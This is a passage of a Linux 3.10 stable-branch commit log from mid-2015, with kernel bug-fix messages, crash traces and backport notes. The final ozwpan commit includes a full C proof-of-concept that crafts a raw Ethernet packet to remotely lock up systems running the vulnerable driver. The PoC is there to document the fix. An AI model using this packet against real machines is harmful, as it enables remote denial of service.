1. 13 Jul, 2015 1 commit
  2. 10 Jul, 2015 1 commit
  3. 09 Jul, 2015 2 commits
  4. 08 Jul, 2015 1 commit
  5. 07 Jul, 2015 5 commits
  6. 03 Jul, 2015 1 commit
  7. 30 Jun, 2015 2 commits
  8. 29 Jun, 2015 7 commits
    • Greg Kroah-Hartman's avatar
      Linux 3.10.82 · b3d78448
      Greg Kroah-Hartman authored
    • James Smart's avatar
      lpfc: Add iotag memory barrier · 17c06c69
      James Smart authored
      commit 27f344eb15dd0da80ebec80c7245e8c85043f841 upstream.
      Add a memory barrier to ensure the valid bit is read before
      any of the cqe payload is read. This fixes an issue seen
      on Power where the cqe payload was getting loaded before
      the valid bit. When this occurred, we saw an iotag out of
      range error when a command completed, but since the iotag
      looked invalid the command didn't get completed to scsi core.
      Later we hit the command timeout, attempted to abort the command,
      then waited for the aborted command to get returned. Since the
      adapter already returned the command, we timeout waiting,
      and end up escalating EEH all the way to host reset. This
      patch fixes this issue.
      Signed-off-by: default avatarBrian King <brking@linux.vnet.ibm.com>
      Signed-off-by: default avatarJames Smart <james.smart@emulex.com>
      Signed-off-by: default avatarChristoph Hellwig <hch@lst.de>
      Signed-off-by: default avatarGreg Kroah-Hartman <gregkh@linuxfoundation.org>
    • Ben Hutchings's avatar
      pipe: iovec: Fix memory corruption when retrying atomic copy as non-atomic · 14f81062
      Ben Hutchings authored
      pipe_iov_copy_{from,to}_user() may be tried twice with the same iovec,
      the first time atomically and the second time not.  The second attempt
      needs to continue from the iovec position, pipe buffer offset and
      remaining length where the first attempt failed, but currently the
      pipe buffer offset and remaining length are reset.  This will corrupt
      the piped data (possibly also leading to an information leak between
      processes) and may also corrupt kernel memory.
      This was fixed upstream by commits f0d1bec9d58d ("new helper:
      copy_page_from_iter()") and 637b58c2887e ("switch pipe_read() to
      copy_page_to_iter()"), but those aren't suitable for stable.  This fix
      for older kernel versions was made by Seth Jennings for RHEL and I
      have extracted it from their update.
      References: https://bugzilla.redhat.com/show_bug.cgi?id=1202855Signed-off-by: default avatarBen Hutchings <ben@decadent.org.uk>
      Signed-off-by: default avatarGreg Kroah-Hartman <gregkh@linuxfoundation.org>
    • Adam Jackson's avatar
      drm/mgag200: Reject non-character-cell-aligned mode widths · 97d905e8
      Adam Jackson authored
      commit 25161084b1c1b0c29948f6f77266a35f302196b7 upstream.
      Turns out 1366x768 does not in fact work on this hardware.
      Signed-off-by: default avatarAdam Jackson <ajax@redhat.com>
      Signed-off-by: default avatarDave Airlie <airlied@redhat.com>
      Signed-off-by: default avatarGreg Kroah-Hartman <gregkh@linuxfoundation.org>
    • Steven Rostedt's avatar
      tracing: Have filter check for balanced ops · 63dec311
      Steven Rostedt authored
      commit 2cf30dc180cea808077f003c5116388183e54f9e upstream.
      When the following filter is used it causes a warning to trigger:
       # cd /sys/kernel/debug/tracing
       # echo "((dev==1)blocks==2)" > events/ext4/ext4_truncate_exit/filter
      -bash: echo: write error: Invalid argument
       # cat events/ext4/ext4_truncate_exit/filter
      parse_error: No error
       ------------[ cut here ]------------
       WARNING: CPU: 2 PID: 1223 at kernel/trace/trace_events_filter.c:1640 replace_preds+0x3c5/0x990()
       Modules linked in: bnep lockd grace bluetooth  ...
       CPU: 3 PID: 1223 Comm: bash Tainted: G        W       4.1.0-rc3-test+ #450
       Hardware name: Hewlett-Packard HP Compaq Pro 6300 SFF/339A, BIOS K01 v02.05 05/07/2012
        0000000000000668 ffff8800c106bc98 ffffffff816ed4f9 ffff88011ead0cf0
        0000000000000000 ffff8800c106bcd8 ffffffff8107fb07 ffffffff8136b46c
        ffff8800c7d81d48 ffff8800d4c2bc00 ffff8800d4d4f920 00000000ffffffea
       Call Trace:
        [<ffffffff816ed4f9>] dump_stack+0x4c/0x6e
        [<ffffffff8107fb07>] warn_slowpath_common+0x97/0xe0
        [<ffffffff8136b46c>] ? _kstrtoull+0x2c/0x80
        [<ffffffff8107fb6a>] warn_slowpath_null+0x1a/0x20
        [<ffffffff81159065>] replace_preds+0x3c5/0x990
        [<ffffffff811596b2>] create_filter+0x82/0xb0
        [<ffffffff81159944>] apply_event_filter+0xd4/0x180
        [<ffffffff81152bbf>] event_filter_write+0x8f/0x120
        [<ffffffff811db2a8>] __vfs_write+0x28/0xe0
        [<ffffffff811dda43>] ? __sb_start_write+0x53/0xf0
        [<ffffffff812e51e0>] ? security_file_permission+0x30/0xc0
        [<ffffffff811dc408>] vfs_write+0xb8/0x1b0
        [<ffffffff811dc72f>] SyS_write+0x4f/0xb0
        [<ffffffff816f5217>] system_call_fastpath+0x12/0x6a
       ---[ end trace e11028bd95818dcd ]---
      Worse yet, reading the error message (the filter again) it says that
      there was no error, when there clearly was. The issue is that the
      code that checks the input does not check for balanced ops. That is,
      having an op between a closed parenthesis and the next token.
      This would only cause a warning, and fail out before doing any real
      harm, but it should still not caues a warning, and the error reported
      should work:
       # cd /sys/kernel/debug/tracing
       # echo "((dev==1)blocks==2)" > events/ext4/ext4_truncate_exit/filter
      -bash: echo: write error: Invalid argument
       # cat events/ext4/ext4_truncate_exit/filter
      parse_error: Meaningless filter expression
      And give no kernel warning.
      Link: http://lkml.kernel.org/r/20150615175025.7e809215@gandalf.local.home
      Cc: Peter Zijlstra <a.p.zijlstra@chello.nl>
      Cc: Ingo Molnar <mingo@redhat.com>
      Cc: Arnaldo Carvalho de Melo <acme@kernel.org>
      Reported-by: default avatarVince Weaver <vincent.weaver@maine.edu>
      Tested-by: default avatarVince Weaver <vincent.weaver@maine.edu>
      Signed-off-by: default avatarSteven Rostedt <rostedt@goodmis.org>
      [ luis: backported to 3.16:
        - unconditionally decrement cnt as the OP_NOT logic was introduced only
          by e12c09cf3087 ("tracing: Add NOT to filtering logic") ]
      Signed-off-by: default avatarLuis Henriques <luis.henriques@canonical.com>
      Signed-off-by: default avatarGreg Kroah-Hartman <gregkh@linuxfoundation.org>
    • Steve Cornelius's avatar
      crypto: caam - fix RNG buffer cache alignment · b6d2d39a
      Steve Cornelius authored
      commit 412c98c1bef65fe7589f1300e93735d96130307c upstream.
      The hwrng output buffers (2) are cast inside of a a struct (caam_rng_ctx)
      allocated in one DMA-tagged region. While the kernel's heap allocator
      should place the overall struct on a cacheline aligned boundary, the 2
      buffers contained within may not necessarily align. Consenquently, the ends
      of unaligned buffers may not fully flush, and if so, stale data will be left
      behind, resulting in small repeating patterns.
      This fix aligns the buffers inside the struct.
      Note that not all of the data inside caam_rng_ctx necessarily needs to be
      DMA-tagged, only the buffers themselves require this. However, a fix would
      incur the expense of error-handling bloat in the case of allocation failure.
      Signed-off-by: default avatarSteve Cornelius <steve.cornelius@freescale.com>
      Signed-off-by: default avatarVictoria Milhoan <vicki.milhoan@freescale.com>
      Signed-off-by: default avatarHerbert Xu <herbert@gondor.apana.org.au>
      Signed-off-by: default avatarGreg Kroah-Hartman <gregkh@linuxfoundation.org>
    • Mauro Ribeiro's avatar
  9. 25 Jun, 2015 12 commits
  10. 22 Jun, 2015 8 commits
    • Greg Kroah-Hartman's avatar
      Linux 3.10.81 · 28114597
      Greg Kroah-Hartman authored
    • Jeff Mahoney's avatar
      btrfs: cleanup orphans while looking up default subvolume · 9272a6ce
      Jeff Mahoney authored
      commit 727b9784b6085c99c2f836bf4fcc2848dc9cf904 upstream.
      Orphans in the fs tree are cleaned up via open_ctree and subvolume
      orphans are cleaned via btrfs_lookup_dentry -- except when a default
      subvolume is in use.  The name for the default subvolume uses a manual
      lookup that doesn't trigger orphan cleanup and needs to trigger it
      manually as well. This doesn't apply to the remount case since the
      subvolumes are cleaned up by walking the root radix tree.
      Signed-off-by: default avatarJeff Mahoney <jeffm@suse.com>
      Reviewed-by: default avatarDavid Sterba <dsterba@suse.cz>
      Signed-off-by: default avatarChris Mason <clm@fb.com>
      Signed-off-by: default avatarGreg Kroah-Hartman <gregkh@linuxfoundation.org>
    • Chengyu Song's avatar
      btrfs: incorrect handling for fiemap_fill_next_extent return · 8d1529ce
      Chengyu Song authored
      commit 26e726afe01c1c82072cf23a5ed89ce25f39d9f2 upstream.
      fiemap_fill_next_extent returns 0 on success, -errno on error, 1 if this was
      the last extent that will fit in user array. If 1 is returned, the return
      value may eventually returned to user space, which should not happen, according
      to manpage of ioctl.
      Signed-off-by: default avatarChengyu Song <csong84@gatech.edu>
      Reviewed-by: default avatarDavid Sterba <dsterba@suse.cz>
      Reviewed-by: default avatarLiu Bo <bo.li.liu@oracle.com>
      Signed-off-by: default avatarChris Mason <clm@fb.com>
      Signed-off-by: default avatarGreg Kroah-Hartman <gregkh@linuxfoundation.org>
    • Johannes Berg's avatar
      cfg80211: wext: clear sinfo struct before calling driver · 98d94f20
      Johannes Berg authored
      commit 9c5a18a31b321f120efda412281bb9f610f84aa0 upstream.
      Until recently, mac80211 overwrote all the statistics it could
      provide when getting called, but it now relies on the struct
      having been zeroed by the caller. This was always the case in
      nl80211, but wext used a static struct which could even cause
      values from one device leak to another.
      Using a static struct is OK (as even documented in a comment)
      since the whole usage of this function and its return value is
      always locked under RTNL. Not clearing the struct for calling
      the driver has always been wrong though, since drivers were
      free to only fill values they could report, so calling this
      for one device and then for another would always have leaked
      values from one to the other.
      Fix this by initializing the structure in question before the
      driver method call.
      This fixes https://bugzilla.kernel.org/show_bug.cgi?id=99691Reported-by: default avatarGerrit Renker <gerrit@erg.abdn.ac.uk>
      Reported-by: default avatarAlexander Kaltsas <alexkaltsas@gmail.com>
      Signed-off-by: default avatarJohannes Berg <johannes.berg@intel.com>
      Signed-off-by: default avatarDavid S. Miller <davem@davemloft.net>
      Signed-off-by: default avatarGreg Kroah-Hartman <gregkh@linuxfoundation.org>
    • Gu Zheng's avatar
      mm/memory_hotplug.c: set zone->wait_table to null after freeing it · 31c6d4e4
      Gu Zheng authored
      commit 85bd839983778fcd0c1c043327b14a046e979b39 upstream.
      Izumi found the following oops when hot re-adding a node:
          BUG: unable to handle kernel paging request at ffffc90008963690
          IP: __wake_up_bit+0x20/0x70
          Oops: 0000 [#1] SMP
          CPU: 68 PID: 1237 Comm: rs:main Q:Reg Not tainted 4.1.0-rc5 #80
          Hardware name: FUJITSU PRIMEQUEST2800E/SB, BIOS PRIMEQUEST 2000 Series BIOS Version 1.87 04/28/2015
          task: ffff880838df8000 ti: ffff880017b94000 task.ti: ffff880017b94000
          RIP: 0010:[<ffffffff810dff80>]  [<ffffffff810dff80>] __wake_up_bit+0x20/0x70
          RSP: 0018:ffff880017b97be8  EFLAGS: 00010246
          RAX: ffffc90008963690 RBX: 00000000003c0000 RCX: 000000000000a4c9
          RDX: 0000000000000000 RSI: ffffea101bffd500 RDI: ffffc90008963648
          RBP: ffff880017b97c08 R08: 0000000002000020 R09: 0000000000000000
          R10: 0000000000000000 R11: 0000000000000000 R12: ffff8a0797c73800
          R13: ffffea101bffd500 R14: 0000000000000001 R15: 00000000003c0000
          FS:  00007fcc7ffff700(0000) GS:ffff880874800000(0000) knlGS:0000000000000000
          CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
          CR2: ffffc90008963690 CR3: 0000000836761000 CR4: 00000000001407e0
          Call Trace:
            xfs_vm_write_end+0x29/0x80 [xfs]
            xfs_file_buffered_aio_write+0x14d/0x3e0 [xfs]
            xfs_file_write_iter+0x79/0x120 [xfs]
          Code: 5d c3 66 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 55 48 89 e5 48 83 ec 20 65 48 8b 04 25 28 00 00 00 48 89 45 f8 31 c0 48 8d 47 48 <48> 39 47 48 48 c7 45 e8 00 00 00 00 48 c7 45 f0 00 00 00 00 48
          RIP  [<ffffffff810dff80>] __wake_up_bit+0x20/0x70
           RSP <ffff880017b97be8>
          CR2: ffffc90008963690
      Reproduce method (re-add a node)::
        Hot-add nodeA --> remove nodeA --> hot-add nodeA (panic)
      This seems an use-after-free problem, and the root cause is
      zone->wait_table was not set to *NULL* after free it in
      When hot re-add a node, we will reuse the pgdat of it, so does the zone
      struct, and when add pages to the target zone, it will init the zone
      first (including the wait_table) if the zone is not initialized.  The
      judgement of zone initialized is based on zone->wait_table:
      	static inline bool zone_is_initialized(struct zone *zone)
      		return !!zone->wait_table;
      so if we do not set the zone->wait_table to *NULL* after free it, the
      memory hotplug routine will skip the init of new zone when hot re-add
      the node, and the wait_table still points to the freed memory, then we
      will access the invalid address when trying to wake up the waiting
      people after the i/o operation with the page is done, such as mentioned
      Signed-off-by: default avatarGu Zheng <guz.fnst@cn.fujitsu.com>
      Reported-by: default avatarTaku Izumi <izumi.taku@jp.fujitsu.com>
      Reviewed by: Yasuaki Ishimatsu <isimatu.yasuaki@jp.fujitsu.com>
      Cc: KAMEZAWA Hiroyuki <kamezawa.hiroyu@jp.fujitsu.com>
      Cc: Tang Chen <tangchen@cn.fujitsu.com>
      Signed-off-by: default avatarAndrew Morton <akpm@linux-foundation.org>
      Signed-off-by: default avatarLinus Torvalds <torvalds@linux-foundation.org>
      Signed-off-by: default avatarGreg Kroah-Hartman <gregkh@linuxfoundation.org>
    • Jani Nikula's avatar
      drm/i915: Fix DDC probe for passive adapters · a0e4eeff
      Jani Nikula authored
      commit 3f5f1554ee715639e78d9be87623ee82772537e0 upstream.
      Passive DP->DVI/HDMI dongles on DP++ ports show up to the system as HDMI
      devices, as they do not have a sink device in them to respond to any AUX
      traffic. When probing these dongles over the DDC, sometimes they will
      NAK the first attempt even though the transaction is valid and they
      support the DDC protocol. The retry loop inside of
      drm_do_probe_ddc_edid() would normally catch this case and try the
      transaction again, resulting in success.
      That, however, was thwarted by the fix for [1]:
      commit 9292f37e
      Author: Eugeni Dodonov <eugeni.dodonov@intel.com>
      Date:   Thu Jan 5 09:34:28 2012 -0200
          drm: give up on edid retries when i2c bus is not responding
      This added code to exit immediately if the return code from the
      i2c_transfer function was -ENXIO in order to reduce the amount of time
      spent in waiting for unresponsive or disconnected devices. That was
      possible because the underlying i2c bit banging algorithm had retries of
      its own (which, of course, were part of the reason for the bug the
      commit fixes).
      Since its introduction in
      commit f899fc64
      Author: Chris Wilson <chris@chris-wilson.co.uk>
      Date:   Tue Jul 20 15:44:45 2010 -0700
          drm/i915: use GMBUS to manage i2c links
      we've been flipping back and forth enabling the GMBUS transfers, but
      we've settled since then. The GMBUS implementation does not do any
      retries, however, bailing out of the drm_do_probe_ddc_edid() retry loop
      on first encounter of -ENXIO. This, combined with Eugeni's commit, broke
      the retry on -ENXIO.
      Retry GMBUS once on -ENXIO on first message to mitigate the issues with
      passive adapters.
      This patch is based on the work, and commit message, by Todd Previte
      [1] https://bugs.freedesktop.org/show_bug.cgi?id=41059
      v2: Don't retry if using bit banging.
      v3: Move retry within gmbux_xfer, retry only on first message.
      v4: Initialize GMBUS0 on retry (Ville).
      v5: Take index reads into account (Ville).
      Bugzilla: https://bugs.freedesktop.org/show_bug.cgi?id=85924
      Cc: Todd Previte <tprevite@gmail.com>
      Tested-by: Oliver Grafe <oliver.grafe@ge.com> (v2)
      Tested-by: default avatarJim Bride <jim.bride@linux.intel.com>
      Reviewed-by: default avatarVille Syrjälä <ville.syrjala@linux.intel.com>
      Signed-off-by: default avatarJani Nikula <jani.nikula@intel.com>
      Signed-off-by: default avatarGreg Kroah-Hartman <gregkh@linuxfoundation.org>
    • Aaro Koskinen's avatar
      pata_octeon_cf: fix broken build · 57d5697f
      Aaro Koskinen authored
      commit 4710f2facb5c68d629015747bd09b37203e0d137 upstream.
      MODULE_DEVICE_TABLE is referring to wrong driver's table and breaks the
      build. Fix that.
      Signed-off-by: default avatarAaro Koskinen <aaro.koskinen@nokia.com>
      Signed-off-by: default avatarTejun Heo <tj@kernel.org>
      Signed-off-by: default avatarGreg Kroah-Hartman <gregkh@linuxfoundation.org>
    • Jason A. Donenfeld's avatar
      ozwpan: unchecked signed subtraction leads to DoS · 1c9daa06
      Jason A. Donenfeld authored
      commit 9a59029bc218b48eff8b5d4dde5662fd79d3e1a8 upstream.
      The subtraction here was using a signed integer and did not have any
      bounds checking at all. This commit adds proper bounds checking, made
      easy by use of an unsigned integer. This way, a single packet won't be
      able to remotely trigger a massive loop, locking up the system for a
      considerable amount of time. A PoC follows below, which requires
      ozprotocol.h from this module.
       #include <arpa/inet.h>
       #include <linux/if_packet.h>
       #include <net/if.h>
       #include <netinet/ether.h>
       #include <stdio.h>
       #include <string.h>
       #include <stdlib.h>
       #include <endian.h>
       #include <sys/ioctl.h>
       #include <sys/socket.h>
       #define u8 uint8_t
       #define u16 uint16_t
       #define u32 uint32_t
       #define __packed __attribute__((__packed__))
       #include "ozprotocol.h"
      static int hex2num(char c)
      	if (c >= '0' && c <= '9')
      		return c - '0';
      	if (c >= 'a' && c <= 'f')
      		return c - 'a' + 10;
      	if (c >= 'A' && c <= 'F')
      		return c - 'A' + 10;
      	return -1;
      static int hwaddr_aton(const char *txt, uint8_t *addr)
      	int i;
      	for (i = 0; i < 6; i++) {
      		int a, b;
      		a = hex2num(*txt++);
      		if (a < 0)
      			return -1;
      		b = hex2num(*txt++);
      		if (b < 0)
      			return -1;
      		*addr++ = (a << 4) | b;
      		if (i < 5 && *txt++ != ':')
      			return -1;
      	return 0;
      int main(int argc, char *argv[])
      	if (argc < 3) {
      		fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
      		return 1;
      	uint8_t dest_mac[6];
      	if (hwaddr_aton(argv[2], dest_mac)) {
      		fprintf(stderr, "Invalid mac address.\n");
      		return 1;
      	int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
      	if (sockfd < 0) {
      		return 1;
      	struct ifreq if_idx;
      	int interface_index;
      	strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
      	if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
      		return 1;
      	interface_index = if_idx.ifr_ifindex;
      	if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
      		return 1;
      	uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;
      	struct {
      		struct ether_header ether_header;
      		struct oz_hdr oz_hdr;
      		struct oz_elt oz_elt;
      		struct oz_elt_connect_req oz_elt_connect_req;
      		struct oz_elt oz_elt2;
      		struct oz_multiple_fixed oz_multiple_fixed;
      	} __packed packet = {
      		.ether_header = {
      			.ether_type = htons(OZ_ETHERTYPE),
      			.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
      			.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
      		.oz_hdr = {
      			.last_pkt_num = 0,
      			.pkt_num = htole32(0)
      		.oz_elt = {
      			.type = OZ_ELT_CONNECT_REQ,
      			.length = sizeof(struct oz_elt_connect_req)
      		.oz_elt_connect_req = {
      			.mode = 0,
      			.resv1 = {0},
      			.pd_info = 0,
      			.session_id = 0,
      			.presleep = 0,
      			.ms_isoc_latency = 0,
      			.host_vendor = 0,
      			.keep_alive = 0,
      			.apps = htole16((1 << OZ_APPID_USB) | 0x1),
      			.max_len_div16 = 0,
      			.ms_per_isoc = 0,
      			.up_audio_buf = 0,
      			.ms_per_elt = 0
      		.oz_elt2 = {
      			.type = OZ_ELT_APP_DATA,
      			.length = sizeof(struct oz_multiple_fixed) - 3
      		.oz_multiple_fixed = {
      			.app_id = OZ_APPID_USB,
      			.elt_seq_num = 0,
      			.type = OZ_USB_ENDPOINT_DATA,
      			.endpoint = 0,
      			.format = OZ_DATA_F_MULTIPLE_FIXED,
      			.unit_size = 1,
      			.data = {0}
      	struct sockaddr_ll socket_address = {
      		.sll_ifindex = interface_index,
      		.sll_halen = ETH_ALEN,
      		.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
      	if (sendto(sockfd, &packet, sizeof(packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
      		return 1;
      	return 0;
      Signed-off-by: default avatarJason A. Donenfeld <Jason@zx2c4.com>
      Acked-by: default avatarDan Carpenter <dan.carpenter@oracle.com>
      Signed-off-by: default avatarGreg Kroah-Hartman <gregkh@linuxfoundation.org>